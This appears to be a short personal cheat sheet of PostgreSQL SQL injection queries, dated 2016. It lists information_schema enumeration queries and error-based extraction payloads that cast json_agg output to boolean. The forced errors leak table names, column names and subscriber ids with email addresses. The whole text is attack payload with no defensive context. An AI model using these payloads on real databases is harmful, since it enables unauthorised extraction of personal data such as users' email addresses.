#note – 11.11.2016 – sql injection stuff – postgresql

SELECT * FROM information_schema.tables;
SELECT * FROM information_schema.columns;
select table_name from information_schema.tables;

select cast(cast(json_agg(table_name) as varchar) as boolean) from information_schema.tables;
select column_name from information_schema.columns where table_name  = 'post';

select cast(cast(json_agg(column_name) as varchar) as boolean) from information_schema.columns where table_name  = 'post';
select * from subscriber;
select id,email from subscriber;
select id || ' - ' || email from subscriber;
select cast(cast(json_agg(s.id || ' - ' || s.email) as varchar) as boolean) from subscriber as s;